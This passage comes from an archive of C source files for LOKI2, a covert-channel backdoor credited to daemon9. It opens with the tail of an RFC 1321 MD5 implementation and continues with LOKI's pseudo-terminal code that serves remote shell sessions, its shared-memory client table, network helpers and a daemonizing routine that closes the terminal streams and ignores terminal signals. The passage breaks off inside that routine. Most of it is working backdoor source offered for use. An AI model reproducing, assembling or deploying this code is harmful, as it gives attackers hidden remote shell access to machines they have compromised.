  2445. #define S21 5
  2446. #define S22 9
  2447. #define S23 14
  2448. #define S24 20
  2449. #define S31 4
  2450. #define S32 11
  2451. #define S33 16
  2452. #define S34 23
  2453. #define S41 6
  2454. #define S42 10
  2455. #define S43 15
  2456. #define S44 21
  2457.  
  2458. static void MD5Transform PROTO_LIST ((UINT4 [4], unsigned char [64]));
  2459. static void Encode PROTO_LIST
  2460.   ((unsigned char *, UINT4 *, unsigned int));
  2461. static void Decode PROTO_LIST
  2462.   ((UINT4 *, unsigned char *, unsigned int));
  2463. static void MD5_memcpy PROTO_LIST ((POINTER, POINTER, unsigned int));
  2464. static void MD5_memset PROTO_LIST ((POINTER, int, unsigned int));
  2465.  
  2466. static unsigned char PADDING[64] = {
  2467.   0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  2468.   0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  2469.   0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
  2470. };
  2471.  
  2472. /* F, G, H and I are basic MD5 functions.
  2473.  */
  2474. #define F(x, y, z) (((x) & (y)) | ((~x) & (z)))
  2475. #define G(x, y, z) (((x) & (z)) | ((y) & (~z)))
  2476. #define H(x, y, z) ((x) ^ (y) ^ (z))
  2477. #define I(x, y, z) ((y) ^ ((x) | (~z)))
  2478.  
  2479. /* ROTATE_LEFT rotates x left n bits.
  2480.  */
  2481. #define ROTATE_LEFT(x, n) (((x) << (n)) | ((x) >> (32-(n))))
  2482.  
  2483. /* FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4.
  2484. Rotation is separate from addition to prevent recomputation.
  2485.  */
  2486. #define FF(a, b, c, d, x, s, ac) { \
  2487.  (a) += F ((b), (c), (d)) + (x) + (UINT4)(ac); \
  2488.  (a) = ROTATE_LEFT ((a), (s)); \
  2489.  (a) += (b); \
  2490.   }
  2491. #define GG(a, b, c, d, x, s, ac) { \
  2492.  (a) += G ((b), (c), (d)) + (x) + (UINT4)(ac); \
  2493.  (a) = ROTATE_LEFT ((a), (s)); \
  2494.  (a) += (b); \
  2495.   }
  2496. #define HH(a, b, c, d, x, s, ac) { \
  2497.  (a) += H ((b), (c), (d)) + (x) + (UINT4)(ac); \
  2498.  (a) = ROTATE_LEFT ((a), (s)); \
  2499.  (a) += (b); \
  2500.   }
  2501. #define II(a, b, c, d, x, s, ac) { \
  2502.  (a) += I ((b), (c), (d)) + (x) + (UINT4)(ac); \
  2503.  (a) = ROTATE_LEFT ((a), (s)); \
  2504.  (a) += (b); \
  2505.   }
  2506.  
  2507. /* MD5 initialization. Begins an MD5 operation, writing a new context.
  2508.  */
  2509. void MD5Init (context)
  2510. MD5_CTX *context;                                        /* context */
  2511. {
  2512.   context->count[0] = context->count[1] = 0;
  2513.   /* Load magic initialization constants.
  2514. */
  2515.   context->state[0] = 0x67452301;
  2516.   context->state[1] = 0xefcdab89;
  2517.   context->state[2] = 0x98badcfe;
  2518.   context->state[3] = 0x10325476;
  2519. }
  2520.  
  2521. /* MD5 block update operation. Continues an MD5 message-digest
  2522.   operation, processing another message block, and updating the
  2523.   context.
  2524.  */
  2525. void MD5Update (context, input, inputLen)
  2526. MD5_CTX *context;                                        /* context */
  2527. unsigned char *input;                                /* input block */
  2528. unsigned int inputLen;                     /* length of input block */
  2529. {
  2530.   unsigned int i, index, partLen;
  2531.  
  2532.   /* Compute number of bytes mod 64 */
  2533.   index = (unsigned int)((context->count[0] >> 3) & 0x3F);
  2534.  
  2535.   /* Update number of bits */
  2536.   if ((context->count[0] += ((UINT4)inputLen << 3))
  2537.  
  2538.  
  2539. /*
  2540. Rivest                                                         [Page 11]
  2541.  
  2542. RFC 1321              MD5 Message-Digest Algorithm            April 1992
  2543. */
  2544.  
  2545.    < ((UINT4)inputLen << 3))
  2546.  context->count[1]++;
  2547.   context->count[1] += ((UINT4)inputLen >> 29);
  2548.  
  2549.   partLen = 64 - index;
  2550.  
  2551.   /* Transform as many times as possible.
  2552. */
  2553.   if (inputLen >= partLen) {
  2554.  MD5_memcpy
  2555.    ((POINTER)&context->buffer[index], (POINTER)input, partLen);
  2556.  MD5Transform (context->state, context->buffer);
  2557.  
  2558.  for (i = partLen; i + 63 < inputLen; i += 64)
  2559.    MD5Transform (context->state, &input[i]);
  2560.  
  2561.  index = 0;
  2562.   }
  2563.   else
  2564.  i = 0;
  2565.  
  2566.   /* Buffer remaining input */
  2567.   MD5_memcpy
  2568.  ((POINTER)&context->buffer[index], (POINTER)&input[i],
  2569.   inputLen-i);
  2570. }
  2571.  
  2572. /* MD5 finalization. Ends an MD5 message-digest operation, writing the
  2573.   the message digest and zeroizing the context.
  2574.  */
  2575. void MD5Final (digest, context)
  2576. unsigned char digest[16];                         /* message digest */
  2577. MD5_CTX *context;                                       /* context */
  2578. {
  2579.   unsigned char bits[8];
  2580.   unsigned int index, padLen;
  2581.  
  2582.   /* Save number of bits */
  2583.   Encode (bits, context->count, 8);
  2584.  
  2585.   /* Pad out to 56 mod 64.
  2586. */
  2587.   index = (unsigned int)((context->count[0] >> 3) & 0x3f);
  2588.   padLen = (index < 56) ? (56 - index) : (120 - index);
  2589.   MD5Update (context, PADDING, padLen);
  2590.  
  2591.   /* Append length (before padding) */
  2592.   MD5Update (context, bits, 8);
  2593.  
  2594.  
  2595. /*
  2596. Rivest                                                         [Page 12]
  2597.  
  2598. RFC 1321              MD5 Message-Digest Algorithm            April 1992
  2599. */
  2600.  
  2601.   /* Store state in digest */
  2602.   Encode (digest, context->state, 16);
  2603.  
  2604.   /* Zeroize sensitive information.
  2605. */
  2606.   MD5_memset ((POINTER)context, 0, sizeof (*context));
  2607. }
  2608.  
  2609. /* MD5 basic transformation. Transforms state based on block.
  2610.  */
  2611. static void MD5Transform (state, block)
  2612. UINT4 state[4];
  2613. unsigned char block[64];
  2614. {
  2615.   UINT4 a = state[0], b = state[1], c = state[2], d = state[3], x[16];
  2616.  
  2617.   Decode (x, block, 64);
  2618.  
  2619.   /* Round 1 */
  2620.   FF (a, b, c, d, x[ 0], S11, 0xd76aa478); /* 1 */
  2621.   FF (d, a, b, c, x[ 1], S12, 0xe8c7b756); /* 2 */
  2622.   FF (c, d, a, b, x[ 2], S13, 0x242070db); /* 3 */
  2623.   FF (b, c, d, a, x[ 3], S14, 0xc1bdceee); /* 4 */
  2624.   FF (a, b, c, d, x[ 4], S11, 0xf57c0faf); /* 5 */
  2625.   FF (d, a, b, c, x[ 5], S12, 0x4787c62a); /* 6 */
  2626.   FF (c, d, a, b, x[ 6], S13, 0xa8304613); /* 7 */
  2627.   FF (b, c, d, a, x[ 7], S14, 0xfd469501); /* 8 */
  2628.   FF (a, b, c, d, x[ 8], S11, 0x698098d8); /* 9 */
  2629.   FF (d, a, b, c, x[ 9], S12, 0x8b44f7af); /* 10 */
  2630.   FF (c, d, a, b, x[10], S13, 0xffff5bb1); /* 11 */
  2631.   FF (b, c, d, a, x[11], S14, 0x895cd7be); /* 12 */
  2632.   FF (a, b, c, d, x[12], S11, 0x6b901122); /* 13 */
  2633.   FF (d, a, b, c, x[13], S12, 0xfd987193); /* 14 */
  2634.   FF (c, d, a, b, x[14], S13, 0xa679438e); /* 15 */
  2635.   FF (b, c, d, a, x[15], S14, 0x49b40821); /* 16 */
  2636.  
  2637.  /* Round 2 */
  2638.   GG (a, b, c, d, x[ 1], S21, 0xf61e2562); /* 17 */
  2639.   GG (d, a, b, c, x[ 6], S22, 0xc040b340); /* 18 */
  2640.   GG (c, d, a, b, x[11], S23, 0x265e5a51); /* 19 */
  2641.   GG (b, c, d, a, x[ 0], S24, 0xe9b6c7aa); /* 20 */
  2642.   GG (a, b, c, d, x[ 5], S21, 0xd62f105d); /* 21 */
  2643.   GG (d, a, b, c, x[10], S22,  0x2441453); /* 22 */
  2644.   GG (c, d, a, b, x[15], S23, 0xd8a1e681); /* 23 */
  2645.   GG (b, c, d, a, x[ 4], S24, 0xe7d3fbc8); /* 24 */
  2646.   GG (a, b, c, d, x[ 9], S21, 0x21e1cde6); /* 25 */
  2647.   GG (d, a, b, c, x[14], S22, 0xc33707d6); /* 26 */
  2648.   GG (c, d, a, b, x[ 3], S23, 0xf4d50d87); /* 27 */
  2649.  
  2650.  
  2651. /*
  2652. Rivest                                                         [Page 13]
  2653.  
  2654. RFC 1321              MD5 Message-Digest Algorithm            April 1992
  2655. */
  2656.  
  2657.   GG (b, c, d, a, x[ 8], S24, 0x455a14ed); /* 28 */
  2658.   GG (a, b, c, d, x[13], S21, 0xa9e3e905); /* 29 */
  2659.   GG (d, a, b, c, x[ 2], S22, 0xfcefa3f8); /* 30 */
  2660.   GG (c, d, a, b, x[ 7], S23, 0x676f02d9); /* 31 */
  2661.   GG (b, c, d, a, x[12], S24, 0x8d2a4c8a); /* 32 */
  2662.  
  2663.   /* Round 3 */
  2664.   HH (a, b, c, d, x[ 5], S31, 0xfffa3942); /* 33 */
  2665.   HH (d, a, b, c, x[ 8], S32, 0x8771f681); /* 34 */
  2666.   HH (c, d, a, b, x[11], S33, 0x6d9d6122); /* 35 */
  2667.   HH (b, c, d, a, x[14], S34, 0xfde5380c); /* 36 */
  2668.   HH (a, b, c, d, x[ 1], S31, 0xa4beea44); /* 37 */
  2669.   HH (d, a, b, c, x[ 4], S32, 0x4bdecfa9); /* 38 */
  2670.   HH (c, d, a, b, x[ 7], S33, 0xf6bb4b60); /* 39 */
  2671.   HH (b, c, d, a, x[10], S34, 0xbebfbc70); /* 40 */
  2672.   HH (a, b, c, d, x[13], S31, 0x289b7ec6); /* 41 */
  2673.   HH (d, a, b, c, x[ 0], S32, 0xeaa127fa); /* 42 */
  2674.   HH (c, d, a, b, x[ 3], S33, 0xd4ef3085); /* 43 */
  2675.   HH (b, c, d, a, x[ 6], S34,  0x4881d05); /* 44 */
  2676.   HH (a, b, c, d, x[ 9], S31, 0xd9d4d039); /* 45 */
  2677.   HH (d, a, b, c, x[12], S32, 0xe6db99e5); /* 46 */
  2678.   HH (c, d, a, b, x[15], S33, 0x1fa27cf8); /* 47 */
  2679.   HH (b, c, d, a, x[ 2], S34, 0xc4ac5665); /* 48 */
  2680.  
  2681.   /* Round 4 */
  2682.   II (a, b, c, d, x[ 0], S41, 0xf4292244); /* 49 */
  2683.   II (d, a, b, c, x[ 7], S42, 0x432aff97); /* 50 */
  2684.   II (c, d, a, b, x[14], S43, 0xab9423a7); /* 51 */
  2685.   II (b, c, d, a, x[ 5], S44, 0xfc93a039); /* 52 */
  2686.   II (a, b, c, d, x[12], S41, 0x655b59c3); /* 53 */
  2687.   II (d, a, b, c, x[ 3], S42, 0x8f0ccc92); /* 54 */
  2688.   II (c, d, a, b, x[10], S43, 0xffeff47d); /* 55 */
  2689.   II (b, c, d, a, x[ 1], S44, 0x85845dd1); /* 56 */
  2690.   II (a, b, c, d, x[ 8], S41, 0x6fa87e4f); /* 57 */
  2691.   II (d, a, b, c, x[15], S42, 0xfe2ce6e0); /* 58 */
  2692.   II (c, d, a, b, x[ 6], S43, 0xa3014314); /* 59 */
  2693.   II (b, c, d, a, x[13], S44, 0x4e0811a1); /* 60 */
  2694.   II (a, b, c, d, x[ 4], S41, 0xf7537e82); /* 61 */
  2695.   II (d, a, b, c, x[11], S42, 0xbd3af235); /* 62 */
  2696.   II (c, d, a, b, x[ 2], S43, 0x2ad7d2bb); /* 63 */
  2697.   II (b, c, d, a, x[ 9], S44, 0xeb86d391); /* 64 */
  2698.  
  2699.   state[0] += a;
  2700.   state[1] += b;
  2701.   state[2] += c;
  2702.   state[3] += d;
  2703.  
  2704.   /* Zeroize sensitive information.
  2705.  
  2706.  
  2707. Rivest                                                         [Page 14]
  2708.  
  2709. RFC 1321              MD5 Message-Digest Algorithm            April 1992
  2710.  
  2711. */
  2712.   MD5_memset ((POINTER)x, 0, sizeof (x));
  2713. }
  2714.  
  2715. /* Encodes input (UINT4) into output (unsigned char). Assumes len is
  2716.   a multiple of 4.
  2717.  */
  2718. static void Encode (output, input, len)
  2719. unsigned char *output;
  2720. UINT4 *input;
  2721. unsigned int len;
  2722. {
  2723.   unsigned int i, j;
  2724.  
  2725.   for (i = 0, j = 0; j < len; i++, j += 4) {
  2726.  output[j] = (unsigned char)(input[i] & 0xff);
  2727.  output[j+1] = (unsigned char)((input[i] >> 8) & 0xff);
  2728.  output[j+2] = (unsigned char)((input[i] >> 16) & 0xff);
  2729.  output[j+3] = (unsigned char)((input[i] >> 24) & 0xff);
  2730.   }
  2731. }
  2732.  
  2733. /* Decodes input (unsigned char) into output (UINT4). Assumes len is
  2734.   a multiple of 4.
  2735.  */
  2736. static void Decode (output, input, len)
  2737. UINT4 *output;
  2738. unsigned char *input;
  2739. unsigned int len;
  2740. {
  2741.   unsigned int i, j;
  2742.  
  2743.   for (i = 0, j = 0; j < len; i++, j += 4)
  2744.  output[i] = ((UINT4)input[j]) | (((UINT4)input[j+1]) << 8) |
  2745.    (((UINT4)input[j+2]) << 16) | (((UINT4)input[j+3]) << 24);
  2746. }
  2747.  
  2748. /* Note: Replace "for loop" with standard memcpy if possible.
  2749.  */
  2750.  
  2751. static void MD5_memcpy (output, input, len)
  2752. POINTER output;
  2753. POINTER input;
  2754. unsigned int len;
  2755. {
  2756.   unsigned int i;
  2757.  
  2758.   for (i = 0; i < len; i++)
  2759.  
  2760.  
  2761. /*
  2762. Rivest                                                         [Page 15]
  2763.  
  2764. RFC 1321              MD5 Message-Digest Algorithm            April 1992
  2765. */
  2766.  
  2767.  output[i] = input[i];
  2768. }
  2769.  
  2770. /* Note: Replace "for loop" with standard memset if possible.
  2771.  */
  2772. static void MD5_memset (output, value, len)
  2773. POINTER output;
  2774. int value;
  2775. unsigned int len;
  2776. {
  2777.   unsigned int i;
  2778.  
  2779.   for (i = 0; i < len; i++)
  2780.  ((char *)output)[i] = (char)value;
  2781. }
  2782. <--> md5/md5c.c
  2783. <++> L2/pty.c
  2784. /*
  2785.  * LOKI
  2786.  *
  2787.  * [ pty.c ]
  2788.  *
  2789.  *  1996/7 Guild Corporation Worldwide      [daemon9]
  2790.  *  All the PTY code ganked from Stevens.
  2791.  */
  2792.  
  2793. #ifdef  PTY
  2794. #include "loki.h"
  2795.  
  2796. extern int verbose;    
  2797.  
  2798. /*
  2799.  *  Open a pty and establish it as the session leader with a 
  2800.  *  controlling terminal
  2801.  */
  2802.  
  2803. pid_t pty_fork(int *fdmp, char *slavename, struct termios *slave_termios, struct winsize *slave_winsize)
  2804. {
  2805.  
  2806.     int fdm, fds;          
  2807.     pid_t pid;
  2808.     char pts_name[20];
  2809.  
  2810.     if ((fdm = ptym_open(pts_name)) < 0) 
  2811.         err_exit(1, 0, verbose, "\nCannot open master pty\n");
  2812.  
  2813.     if (slavename) strcpy(slavename, pts_name);
  2814.  
  2815.     if ((pid = fork()) < 0) return (-1);
  2816.  
  2817.     else if (!pid)
  2818.     {
  2819.         if (setsid() < 0) 
  2820.             err_exit(1, 1, verbose, "\nCannot set session");
  2821.  
  2822.         if ((fds = ptys_open(fdm, pts_name)) < 0)
  2823.             err_exit(1, 0, verbose, "\nCannot open slave pty\n");
  2824.         close(fdm);                  
  2825.  
  2826. #if defined(TIOCSCTTY) && !defined(CIBAUD)
  2827.         if (ioctl(fds, TIOCSCTTY,(char *)0) < 0)
  2828.             err_exit(1, 1, verbose, "\nioctl");
  2829. #endif
  2830.                                         /* set termios/winsize */
  2831.         if (slave_termios) if (tcsetattr(fds,TCSANOW, (struct termios *)slave_termios) < 0) err_exit(1, 1, verbose, "\nCannot set termio");
  2832.                                     /* slave becomes stdin/stdout/stderr */
  2833.         if (slave_winsize) if (ioctl(fds, TIOCSWINSZ, slave_winsize) < 0)
  2834.             err_exit(1, 1, verbose, "\nioctl");
  2835.         if (dup2(fds, STDIN_FILENO) != STDIN_FILENO)
  2836.             err_exit(1, 0, verbose, "\ndup\n");
  2837.         if (dup2(fds, STDOUT_FILENO) != STDIN_FILENO)
  2838.             err_exit(1, 0, verbose, "\ndup\n");
  2839.         if (dup2(fds, STDERR_FILENO) != STDIN_FILENO)
  2840.             err_exit(1, 0, verbose, "\ndup\n");
  2841.         if (fds > STDERR_FILENO) close(fds);
  2842.  
  2843.         return (0);                     /* return child */ 
  2844.     }
  2845.  
  2846.     else
  2847.     {
  2848.         *fdmp = fdm;                    /* Return fd of master */
  2849.         return (pid);                   /* parent returns PID of child */ 
  2850.     }
  2851. }
  2852.  
  2853.  
  2854. /*
  2855.  *  Determine which psuedo terminals are available and try to open one
  2856.  */
  2857.  
  2858. int ptym_open(char *pts_name)
  2859. {
  2860.  
  2861.     int fdm     = 0;                    /* List of ptys to run through */
  2862.     char *p1    = "pqrstuvwxyzPQRST", *p2 = "0123456789abcdef";
  2863.  
  2864.     strcpy(pts_name, "/dev/pty00");     /* pty device name template */
  2865.  
  2866.     for (; *p1; p1++)
  2867.     {
  2868.         pts_name[8] = *p1;
  2869.         for (; *p2; p2++)
  2870.         {
  2871.             pts_name[9] = *p2;
  2872.             if ((fdm = open(pts_name, O_RDWR)) < 0)
  2873.             {
  2874.                                         /* device doesn't exist */
  2875.             if (errno == ENOENT) return (-1);
  2876.                 else continue;
  2877.             }
  2878.             pts_name[5] = 't';          /* pty -> tty */
  2879.             return (fdm);               /* master file descriptor */
  2880.         }    
  2881.     }
  2882.     return (-1);                        /* control falls here if no pty
  2883.                                          * devices are available
  2884.                                          */
  2885. }
  2886.  
  2887.  
  2888. /*
  2889.  *  Open the slave device and set ownership and permissions
  2890.  */
  2891.  
  2892. int ptys_open(int fdm, char *pts_name)
  2893. {
  2894.  
  2895.     struct group *gp;
  2896.     int gid = 0, fds = 0;
  2897.  
  2898.     if ((gp = getgrnam("tty"))) gid = (gp -> gr_gid);
  2899.     else gid = -1;                              /* Group tty is not in the group file */
  2900.  
  2901.     chown(pts_name, getuid(), gid);             /* make it ours */
  2902.                                                 /* set permissions -rw--w---- */
  2903.     chmod(pts_name, S_IRUSR | S_IWUSR | S_IWGRP);   
  2904.  
  2905.     if ((fds = open(pts_name, O_RDWR)) < 0)
  2906.     {
  2907.         close(fdm);                            /* Cannot open fds */
  2908.         return (-1);
  2909.     }
  2910.     return (fds);
  2911. }
  2912.  
  2913. #endif
  2914.  
  2915. /* EOF */
  2916. <--> pty.c
  2917. <++> L2/shm.c
  2918. /*
  2919.  * LOKI2
  2920.  *
  2921.  * [ shm.c ]
  2922.  *
  2923.  *  1996/7 Guild Corporation Worldwide      [daemon9]
  2924.  */
  2925.  
  2926.  
  2927. #include "loki.h"
  2928. #include "client_db.h"
  2929. #include "shm.h"
  2930.  
  2931. extern struct loki rdg;
  2932. extern int verbose;
  2933. extern int destroy_shm;
  2934. struct client_list *client = 0;
  2935. int semid;
  2936.  
  2937. #ifdef STRONG_CRYPTO
  2938. extern short ivec_salt;
  2939. extern u_char user_key[BF_KEYSIZE];
  2940. #endif
  2941.  
  2942. /*
  2943.  *  Prepare shared memory and semaphore
  2944.  */
  2945.  
  2946. void prep_shm()
  2947. {
  2948.  
  2949.     key_t shmkey    = SHM_KEY + getpid();  /* shared memory key ID */
  2950.     key_t semkey    = SEM_KEY + getpid();  /* semaphore key ID     */
  2951.     int shmid, len  = 0, i = 0;
  2952.  
  2953.     len             = sizeof(struct client_list) * MAX_CLIENT;
  2954.  
  2955.                                         /* Request a shared memory segment */
  2956.     if ((shmid = shmget(shmkey, len, IPC_CREAT)) < 0)
  2957.         err_exit(1, 1, verbose, "[fatal] shared mem segment request error");
  2958.  
  2959.                                         /* Get SET_SIZE semaphore to perform 
  2960.                                          * shared memory locking with
  2961.                                          */
  2962.     if ((semid = semget(semkey, SET_SIZE, (IPC_CREAT | SHM_PRM))) < 0)
  2963.         err_exit(1, 1, verbose, "[fatal] semaphore allocation error ");
  2964.  
  2965.                                         /* Attach pointer to the shared memory
  2966.                                          * segment
  2967.                                          */                       
  2968.     client = (struct client_list *) shmat(shmid, NULL, (int)NULL);
  2969.                                         /* clear the database */
  2970.     for (; i < MAX_CLIENT; i++) bzero(&client[i], sizeof(client[i]));
  2971. }
  2972.  
  2973.  
  2974. /*
  2975.  *  Locks the semaphore so the caller can access the shared memory segment.
  2976.  *  This is an atomic operation.
  2977.  */
  2978.  
  2979. void locks()
  2980. {
  2981.  
  2982.     struct sembuf lock[2] = 
  2983.     {
  2984.         {0, 0, 0},
  2985.         {0, 1, SEM_UNDO}
  2986.     };
  2987.  
  2988.     if (semop(semid, &lock[0], 2) < 0)
  2989.         err_exit(1, 1, verbose, "[fatal] could not lock memory");
  2990. }
  2991.  
  2992.  
  2993. /*
  2994.  *  Unlocks the semaphore so the caller can access the shared memory segment.
  2995.  *  This is an atomic operation.
  2996.  */
  2997.  
  2998. void ulocks()
  2999. {
  3000.  
  3001.     struct sembuf ulock[1] = 
  3002.     {
  3003.         { 0, -1, (IPC_NOWAIT | SEM_UNDO) }
  3004.     };
  3005.  
  3006.     if (semop(semid, &ulock[0], 1) < 0)
  3007.         err_exit(1, 1, verbose, "[fatal] could not unlock memory");
  3008. }                      
  3009.  
  3010.  
  3011. /*
  3012.  *  Release the shared memory segment.
  3013.  */
  3014.  
  3015. void dump_shm()
  3016. {
  3017.  
  3018.     locks();
  3019.     if ((shmdt((u_char *)client)) == -1)
  3020.         err_exit(1, 1, verbose, "[fatal] shared mem segment detach error");
  3021.  
  3022.     if (destroy_shm == OK)
  3023.     {
  3024.         if ((shmctl(semid, IPC_RMID, NULL)) == -1)
  3025.             err_exit(1, 1, verbose, "[fatal] cannot destroy shmid");
  3026.  
  3027.         if ((semctl(semid, IPC_RMID, (int)NULL, NULL)) == -1)
  3028.             err_exit(1, 1, verbose, "[fatal] cannot destroy semaphore");
  3029.     }
  3030.     ulocks();
  3031. }
  3032.     
  3033. /* EOF */
  3034. <--> shm.c
  3035. <++> L2/shm.h
  3036. /*
  3037.  * LOKI
  3038.  *
  3039.  * shm header file
  3040.  *
  3041.  *  1996/7 Guild Corporation Productions    [daemon9]
  3042.  */
  3043.  
  3044.  
  3045. #define SHM_KEY     242                 /* Shared memory key            */
  3046. #define SEM_KEY     424                 /* Semaphore key                */
  3047. #define SHM_PRM     S_IRUSR|S_IWUSR     /* Shared Memory Permissions    */
  3048. #define SET_SIZE    1
  3049.  
  3050. void prep_shm();                        /* prepare shared mem segment   */
  3051. void locks();                           /* lock shared memory           */
  3052. void ulocks();                          /* unlock shared memory         */
  3053. void dump_shm();                        /* release shared memory        */
  3054. <--> shm.h
  3055. <++> L2/surplus.c
  3056. /*
  3057.  * LOKI2
  3058.  *
  3059.  * [ surplus.c ]
  3060.  *
  3061.  *  1996/7 Guild Corporation Worldwide      [daemon9]
  3062.  */
  3063.  
  3064.  
  3065. #include "loki.h"
  3066.  
  3067. extern int verbose;    
  3068. extern jmp_buf env;
  3069.  
  3070. #define WORKING_ROOT "/tmp"             /* Sometimes we make mistakes.
  3071.                                          * Sometimes we execute commands we
  3072.                                          * didn't mean to.  `rm -rf` is much
  3073.                                          * easier to palate from /tmp 
  3074.                                          */
  3075. /*
  3076.  *  Domain names / dotted-decimals --> network byte order.
  3077.  */
  3078.  
  3079. u_long name_resolve(char *hostname)
  3080. {
  3081.  
  3082.     struct in_addr addr;
  3083.     struct hostent *hostEnt;
  3084.                                         /* name lookup failure */
  3085.     if ((addr.s_addr = inet_addr(hostname)) == -1)
  3086.     {   
  3087.         if (!(hostEnt = gethostbyname(hostname)))
  3088.             err_exit(1, 1, verbose, "\n[fatal] name lookup failed");
  3089.         bcopy(hostEnt->h_addr, (char *)&addr.s_addr, hostEnt -> h_length);
  3090.     }
  3091.     return (addr.s_addr);
  3092. }
  3093.  
  3094.  
  3095. /*
  3096.  *  Network byte order --> dotted-decimals.
  3097.  */
  3098.  
  3099. char *host_lookup(u_long in)
  3100. {
  3101.  
  3102.     char hostname[BUFSIZ] = {0};
  3103.     struct in_addr addr;
  3104.  
  3105.     addr.s_addr = in;
  3106.     strcpy(hostname, inet_ntoa(addr));
  3107.     return (strdup(hostname));
  3108. }
  3109.        
  3110. #ifdef X86FAST_CHECK
  3111.  
  3112. /*
  3113.  *  Fast x86 based assembly implementation of the IP checksum routine.
  3114.  */
  3115.  
  3116.  
  3117. u_short i_check(u_short *buff, int len)
  3118. {
  3119.  
  3120.     u_long sum = 0;
  3121.     if (len > 3)
  3122.     {
  3123.         __asm__("clc\n"
  3124.         "1:\t"
  3125.         "lodsl\n\t"
  3126.         "adcl %%eax, %%ebx\n\t"
  3127.         "loop 1b\n\t"
  3128.         "adcl $0, %%ebx\n\t"
  3129.         "movl %%ebx, %%eax\n\t"
  3130.         "shrl $16, %%eax\n\t"
  3131.         "addw %%ax, %%bx\n\t"
  3132.         "adcw $0, %%bx"
  3133.         : "=b" (sum) , "=S" (buff)
  3134.         : "0" (sum), "c" (len >> 2) ,"1" (buff)
  3135.         : "ax", "cx", "si", "bx");
  3136.     }
  3137.     if (len & 2)
  3138.     {
  3139.         __asm__("lodsw\n\t"
  3140.         "addw %%ax, %%bx\n\t"
  3141.         "adcw $0, %%bx"
  3142.         : "=b" (sum) , "=S" (buff)
  3143.         : "0" (sum), "c" (len >> 2) ,"1" (buff)
  3144.         : "ax", "cx", "si", "bx");
  3145.     }
  3146.     if (len & 2)
  3147.     {
  3148.         __asm__("lodsw\n\t"
  3149.         "addw %%ax, %%bx\n\t"
  3150.         "adcw $0, %%bx"
  3151.         : "=b" (sum), "=S" (buff)
  3152.         : "0" (sum), "1" (buff)
  3153.         : "bx", "ax", "si");
  3154.     }
  3155.     if (len & 1)
  3156.     {
  3157.         __asm__("lodsb\n\t"
  3158.         "movb $0, %%ah\n\t"
  3159.         "addw %%ax, %%bx\n\t"
  3160.         "adcw $0, %%bx"
  3161.         : "=b" (sum), "=S" (buff)
  3162.         : "0" (sum), "1" (buff)
  3163.         : "bx", "ax", "si");
  3164.     }                                                                         
  3165.     if (len & 1)
  3166.     {
  3167.         __asm__("lodsb\n\t"
  3168.         "movb $0, %%ah\n\t"
  3169.         "addw %%ax, %%bx\n\t"
  3170.         "adcw $0, %%bx"
  3171.         : "=b" (sum), "=S" (buff)
  3172.         : "0" (sum), "1" (buff)
  3173.         : "bx", "ax", "si");
  3174.     }
  3175.     sum  = ~sum;
  3176.     return (sum & 0xffff);
  3177. }
  3178.  
  3179. #else                           
  3180.  
  3181. /*
  3182.  *  Standard IP Family checksum routine.
  3183.  */
  3184.  
  3185. u_short i_check(u_short *ptr, int nbytes)
  3186. {
  3187.  
  3188.     register long sum       = 0; 
  3189.     u_short oddbyte         = 0;
  3190.     register u_short answer = 0;
  3191.  
  3192.     while (nbytes > 1)
  3193.     {
  3194.         sum += *ptr++;
  3195.         nbytes -= 2;
  3196.     }
  3197.     if (nbytes == 1)
  3198.     { 
  3199.         oddbyte = 0;  
  3200.         *((u_char *)&oddbyte) =* (u_char *)ptr; 
  3201.         sum += oddbyte;
  3202.     }
  3203.     sum     = (sum >> 16) + (sum & 0xffff);     /* add hi 16 to low 16 */
  3204.     sum     += (sum >> 16);
  3205.     answer  = ~sum;
  3206.     return (answer);
  3207. }
  3208.  
  3209. #endif  /* X86FAST_CHECK */
  3210.  
  3211.  
  3212. /*
  3213.  *  Generic exit with error function.  If checkerrno is true, errno should
  3214.  *  be looked at and we call perror, otherwise, just dump to stderr.
  3215.  *  Additionally, we have the option of suppressing the error messages by
  3216.  *  zeroing verbose.
  3217.  */
  3218.  
  3219. void err_exit(int exitstatus, int checkerrno, int verbalkint, char *errstr)
  3220. {
  3221.     if (verbalkint)
  3222.     {
  3223.         if (checkerrno) perror(errstr);
  3224.         else fprintf(stderr, errstr);
  3225.     }
  3226.     clean_exit(exitstatus);
  3227. }
  3228.  
  3229.  
  3230. /*
  3231.  *  SIGALRM signal handler.  We reset the alarm timer and default signal
  3232.  *  signal handler, then restore our stack frame from the point that
  3233.  *  setjmp() was called.
  3234.  */
  3235.  
  3236. void catch_timeout(int signo)
  3237. {
  3238.  
  3239.     alarm(0);                           /* reset alarm timer */
  3240.  
  3241.                                         /* reset SIGALRM, our handler will
  3242.                                          * be again set after we longjmp()
  3243.                                          */   
  3244.     if (signal(SIGALRM, catch_timeout) == SIG_ERR)
  3245.         err_exit(1, 1, verbose, L_MSG_SIGALRM);
  3246.                                         /* restore environment */
  3247.     longjmp(env, 1);
  3248. }
  3249.  
  3250.        
  3251. /*
  3252.  *  Clean exit handler
  3253.  */
  3254.  
  3255. void clean_exit(int status)
  3256. {
  3257.  
  3258.     extern int tsock;
  3259.     extern int ripsock;
  3260.  
  3261.     close(ripsock);
  3262.     close(tsock);
  3263.     exit(status);
  3264. }
  3265.  
  3266. /*
  3267.  *  Keep child proccesses from zombiing on us
  3268.  */
  3269.  
  3270. void reaper(int signo)
  3271. {
  3272.     int sys = 0;
  3273.  
  3274.     wait(&sys);                     /* get child's exit status */
  3275.  
  3276.                                     /* re-establish signal handler */
  3277.     if (signal(SIGCHLD, reaper) == SIG_ERR)
  3278.         err_exit(1, 1, verbose, L_MSG_SIGCHLD);
  3279. }
  3280.  
  3281. /*
  3282.  *  Simple daemonizing procedure.
  3283.  */
  3284.  
  3285. void shadow()
  3286. {
  3287.     extern int errno;
  3288.     int fd = 0;
  3289.  
  3290.     close(STDIN_FILENO);            /* We no longer need STDIN */
  3291.     if (!verbose)
  3292.     {                               /* Get rid of these also */
  3293.         close(STDOUT_FILENO);
  3294.         close(STDERR_FILENO);
  3295.     }
  3296.                                     /* Ignore read/write signals from/to
  3297.                                      * the controlling terminal.
  3298.                                      */
  3299.     signal(SIGTTOU, SIG_IGN);
